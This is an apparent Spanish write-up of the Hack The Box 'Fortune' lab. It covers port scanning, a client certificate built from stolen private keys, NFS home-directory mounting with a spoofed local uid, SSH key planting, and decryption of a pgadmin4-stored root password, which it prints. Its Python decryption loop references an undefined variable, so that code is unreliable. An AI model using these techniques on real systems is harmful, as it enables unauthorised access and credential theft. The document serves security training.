Hack The Box - Fortune Writeup
NMAP
A realizar un escaneo con nmap.# Nmap 7.70 scan initiated Wed Mar 13 22:48:02 2019 as: nmap -sV -sC -A -o nmap.scan 10.10.10.127 Nmap scan report for 10.10.10.127 Host is up (0.17s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9 (protocol 2.0) | ssh-hostkey: | 2048 07:ca:21:f4:e0:d2:c6:9e:a8:f7:61:df:d7:ef:b1:f4 (RSA) | 256 30:4b:25:47:17:84:af:60:e2:80:20:9d:fd:86:88:46 (ECDSA) |_ 256 93:56:4a:ee:87:9d:f6:5b:f9:d9:25:a6:d8:e0:08:7e (ED25519) 80/tcp open http OpenBSD httpd |_http-server-header: OpenBSD httpd |_http-title: Fortune 443/tcp open ssl/https? |_ssl-date: TLS randomness does not represent time No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.70%E=4%D=3/13%OT=22%CT=1%CU=40048%PV=Y%DS=2%DC=T%G=Y%TM=5C89893 OS:B%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10D%TI=RD%CI=RI%TS=22)OPS(O OS:1=M54DNNSNW6NNT11%O2=M54DNNSNW6NNT11%O3=M54DNW6NNT11%O4=M54DNNSNW6NNT11% OS:O5=M54DNNSNW6NNT11%O6=M54DNNSNNT11)WIN(W1=4000%W2=4000%W3=4000%W4=4000%W OS:5=4000%W6=4000)ECN(R=Y%DF=Y%T=40%W=4000%O=M54DNNSNW6%CC=N%Q=)T1(R=Y%DF=Y OS:%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=S%F OS:=AR%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=A%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y OS:%T=40%W=0%S=A%A=S%F=AR%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=FF%IPL=38%UN=0%RI OS:PL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=N)
HTTPS
Al visitar la pagina nos encontramos con lo siguiente, por lo que no podemos hacer nada por ahora.
HTTP
Con gobuster encontramos la siguiente ruta./fortune (Status: 301)Utilizamos firefox para ver las peticiones que hace cuando enviamos una solicitud a una de las opciones, en cada opcion si se hace una peticion este nos devuelve de manera aleatoria un mensaje.
Al realizar una enumeracion de carpeta y archivos encontramos en la carpeta del usuario 'bob' (/home/bob/) certificados que pueden pertenecen a la pagina web https.
/home/bob
├── ca
│ ├── certs
│ │ └── ca.cert.pem
│ ├── crl
│ ├── index.txt
│ ├── index.txt.attr
│ ├── index.txt.old
│ ├── intermediate
│ │ ├── certs
│ │ │ ├── ca-chain.cert.pem
│ │ │ ├── fortune.htb.cert.pem
│ │ │ └── intermediate.cert.pem
│ │ ├── crl
│ │ ├── crlnumber
│ │ ├── csr
│ │ │ ├── fortune.htb.csr.pem
│ │ │ └── intermediate.csr.pem
│ │ ├── index.txt
│ │ ├── index.txt.attr
│ │ ├── newcerts
│ │ │ └── 1000.pem
│ │ ├── openssl.cnf
│ │ ├── private
│ │ │ ├── fortune.htb.key.pem
│ │ │ └── intermediate.key.pem
│ │ ├── serial
│ │ └── serial.old
│ ├── newcerts
│ │ └── 1000.pem
│ ├── openssl.cnf
│ ├── private [error opening dir]
│ ├── serial
│ └── serial.old
└── dba
└── authpf.sql
La razon por la cual no podamos acceder a la pagina https es porque no tenemos el certificado de la misma, esta es una grafica de como funciona un certificado:
INFO: https://www.certsuperior.com/QueesunCertificadoSSL.aspx, https://docs.oracle.com/cd/E19226-01/820-7627/bncbs/index.html
Para poder acceder a la pagina debemos de crear nuestro archivo pkc12 el cual contiene el certificado y la clave, copiamos a nuestra maquina local los archivos intermediate.cert.pem e intermediate.key.pem, utilizando openssl generamos el certificado con el siguiente comando:
INFO: https://www.ssl.com/how-to/create-a-pfx-p12-certificate-file-using-openssl/, https://www.ibm.com/support/knowledgecenter/en/SSPH29_9.0.1/com.ibm.help.common.infocenter.aps/t_ConvertthepfxCertificatetopemFormat068.html
openssl pkcs12 -export -out cert.p12 -in intermediate.cert.pem -inkey intermediate.key.pem -passin pass:root -passout pass:root
Obtenemos el certificado y lo importamos a nuestro navegador en las configuraciones de certificado.
Visitamos la pagina en https y nos muestra lo siguiente:
Al visitar la pagina /generate nos muestra una clave publica agregada al los archivos de autorizacion ssh de la maquina y una clave privada con la cual nos podemos conectar al mismo.
Nos conectamos al servicio ssh con la clave generada y el usuario nfsuser, nos muestra el siguiente mensaje, pero nuestra shell no es interactiva:
Al revisar los procesos que corren en la maquina nos muestra un servicio de authpf:
Segun la documentacion de openbsd sobre Authpf nos dice que "es un intérprete (shell) para pasarelas de autenticación. Una pasarela de autenticación es como una pasarela de red normal (también llamada enrutador), con la diferencia que "los usuarios se deben autenticar ante la pasarela" antes de que se permita que pase el tráfico a través de ésta."
Las reglas de authpf /etc/authpf/authpf.rules nos muestran que cualquier usuario ip ($user_ip) en este caso 'nfsuser' le de paso o permiso en los protocolos tcp udp.
ext_if = "em0"
pass in quick on $ext_if inet proto { tcp udp } from $user_ip to ($ext_if) keep state
Sabiendo que tenemos acceso a los protocolos tcp y udp volvemos a hacer un escaneo de puertos y encontramos los siguientes puertos abiertos:
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-21 04:58 GMT Nmap scan report for 10.10.10.127 Host is up (0.18s latency). Not shown: 994 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9 (protocol 2.0) 80/tcp open http OpenBSD httpd 111/tcp open rpcbind 2 (RPC #100000) 443/tcp open ssl/https? 2049/tcp open nfs 2-3 (RPC #100003) 8081/tcp open http OpenBSD httpd Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 38.31 seconds
Encontramos que hay un servicio rpcbind y nfs que estan corriendo en la maquina, escaneamos el servicio rpcbind:
RPCBIND
Encontramos que el servicio NFS esta corriendo tanto en tcp y udp, por lo que podemos montar los sharename de la maquina localmente.root@sckull:~/htb/fortune# rpcinfo -p 10.10.10.127
program vers proto port service
100000 2 tcp 111 portmapper
100000 2 udp 111 portmapper
100005 1 udp 694 mountd
100005 3 udp 694 mountd
100005 1 tcp 944 mountd
100005 3 tcp 944 mountd
100003 2 udp 2049 nfs
100003 3 udp 2049 nfs
100003 2 tcp 2049 nfs
100003 3 tcp 2049 nfs
root@sckull:~/htb/fortune#
NFS
Al revisar los puntos compartidos obtenemos que /home puede ser montadopor cualquiera.root@sckull:~/htb/fortune# showmount -e 10.10.10.127 Export list for 10.10.10.127: /home (everyone) root@sckull:~/htb/fortune#
ACCESO a /home
Para acceder a la carpeta /home debemos montarlo localmente y asi poder acceder a las carpetas y archivos que se encuentran dentro.root@sckull:~/htb/fortune# mkdir tmp_nfs root@sckull:~/htb/fortune# mount -t nfs 10.10.10.127:/home /root/htb/fortune/tmp_nfs root@sckull:~/htb/fortune# ls tmp_nfs/ bob charlie nfsuserObservamos que hay tres usuarios de los cuales bob ya conocemos su interior, mas no el de charlie y nfsuser:
root@sckull:~/htb/fortune# ls -lah tmp_nfs/nfsuser/ total 16K drwxr-xr-x 2 1002 1002 512 Nov 3 02:39 . drwxr-xr-x 5 root root 512 Nov 3 01:19 .. -rw-r--r-- 1 1002 1002 771 Oct 11 20:18 .cshrc -rw-r--r-- 1 1002 1002 101 Oct 11 20:18 .cvsrc -rw-r--r-- 1 1002 1002 359 Oct 11 20:18 .login -rw-r--r-- 1 1002 1002 175 Oct 11 20:18 .mailrc -rw-r--r-- 1 1002 1002 215 Oct 11 20:18 .profile -rw-r--r-- 1 1002 1002 87 Oct 11 20:18 .Xdefaults root@sckull:~/htb/fortune# ls -lah tmp_nfs/charlie/ ls: cannot open directory 'tmp_nfs/charlie/': Permission denied root@sckull:~/htb/fortune#
Podemos ver que a la carpeta del usuario charlie no tenemos acceso, para ello vamos a crear un usuario localmente y un grupo para poder acceder al interior, utilizamos stat para ver informacion de la carpeta, con lo cual vemos que /home/charlie tiene propiedades uid: 1000 y gid:1000.
root@sckull:~/htb/fortune# stat tmp_nfs/charlie/ File: tmp_nfs/charlie/ Size: 512 Blocks: 4 IO Block: 32768 directory Device: 31h/49d Inode: 27648 Links: 3 Access: (0750/drwxr-x---) Uid: ( 1000/ UNKNOWN) Gid: ( 1000/ UNKNOWN) Access: 2019-03-21 05:17:35.827314870 +0000 Modify: 2019-03-21 05:33:05.655948328 +0000 Change: 2019-03-21 05:33:05.655948328 +0000 Birth: -Creamos un usuario y grupo local para charlie:
root@kali:~# groupadd --gid 1000 charlie_group root@kali:~# useradd --uid 1000 --groups charlie_group charlie_user root@kali:~# sudo -u charlie_user ls -l tmp_nfs/charlieCon ello logramos acceder y obtener tambien nuestra bandera 'user.txt'.
Ahora que tenemos acceso a la carpeta de charlie podemos agregar nuestra clave ssh a authorized_keys para poder logearnos con el servicio ssh como charlie.
De la misma forma para el usuario bob:
ESCALACION DE PRIVILEGIOS
Dentro de la carpeta charlie nos encontramos con un archivo mbox, que contiene un mensaje de bob para charlie.Nos dice que bob cambio la contraseña para el usuario dba es la misma que la del usuario root, haciendo una enumeracion de carpetas y archivos nos encontramos un archivo pgadmin4.db que contiene tablas que le pertenecen a pgadmin3.4, utilizando sqlite db browser, dentro de este archivo encontramos una contraseña y usuario 'dba' especificamente en la tabla de 'server', tambien una tabla que contiene usuario y contraseña de bob y charlie.
Ruta del archivo: /var/appsrv/pgadmin4/pgadmin4.db
Tambien encontramos la ruta donde se encuentran los documentos de pgadmin dentro del archivo pgadmin4.ini:
dba
bob y charlie
Usuario ROOT
En la ruta de pgadmin4 local (/usr/local/pgadmin4/pgadmin4-3.4/web/utils/), encontramos un archivo llamado crypto.py, en su interior encontramos funciones las cuales encriptan y desencriptan contraseñas (encrypt(), decrypt(), pad(), pqencryptpassword()), la funcion de encrypt() necesita un texto y una clave, la funcion decrypt() el texto encriptado (ciphertext) anteriormente con la funcion encrypt() y la clave, con estas dos funciones y la contraseña que se encuentra en la tabla de server del usuario dba, podemos intentar desencriptarla solo nos falta la clave (key).
Dentro de la base de datos (pgadmin4.db) encontramos algunas claves (tabla -> keys) que podriamos utilizar para la funcion decrypt(), de igual forma los usuarios (tabla -> users) y contraseñas (tabla -> users).
Localmente agregamos el siguiente codigo a nuestro archivo crypto.py:
if __name__ == '__main__': list_keys = ['root','operator','www','postgresql','pgadmin4','fortune','charlie', 'bob','nfsuser','authpf','admin','administrator','pgadmin3','Administrator','bob@fortune.htb', 'charlie@fortune.htb','user','saQWKx5BCyVZMH2weOiNv3Dsvzh4GchPM16kwBRYPxs=', 'R_EFY1hb236guS3jNq1aHyPcruXbjk7Ff-QwL6PMqJM=','qIhAhRt3xq_dzIEqyJQFmWnymFbO1cZVhbQaTWA-v9Q=', 'dba','postgres','$pbkdf2-sha512$25000$3hvjXAshJKQUYgxhbA0BYA$iuBYZKTTtTO.cwSvMwPAYlhXRZw8aAn9gBtyNQW3Vge23gNUMe95KqiAyf37.v1lmCunWVkmfr93Wi6.W.UzaQ', '$pbkdf2-sha512$25000$z9nbm1Oq9Z5TytkbQ8h5Dw$Vtx9YWQsgwdXpBnsa8BtO5kLOdQGflIZOQysAy7JdTVcRbv/6csQHAJCAIJT9rLFBawClFyMKnqKNL5t3Le9vg'] pass_dba = "utUU0jkamCZDmqFLOrAuPjFxL0zp8zWzISe5MF0GY/l8Silrmu3caqrtjaVjLQlvFFEgESGz" for key in list_keys: k = str(user) r = decrypt(pass_dba, k) print(k +' : ' + r)
Esta porcion de codigo contiene una lista de las claves (keys) probables para la contraseña (pass_dba) del usuario dba que corresponde igualmente para el usuario root, dentro de las claves tambien encontramos usuarios, ya que una key podria ser o no el nombre de un usuario, de igual manera agregamos las contraseñas de la base de datos de los usuarios bob y charlie. En resumen agregamos a la lista todas las posibles claves que encontramos dentro de la maquina. Al correr nuestro script obtenemos el siguente resultado:
Nuestra contraseña para el usuario dba y para root es 'R3us3-0f-a-P4ssw0rdl1k3th1s?_B4D.ID3A!', la clave que fue satisfactoria fue una contraseña en este caso la contraseña de bob que se encuentra en la base de datos. Asi obtenemos nuestra bandera 'root.txt'.






















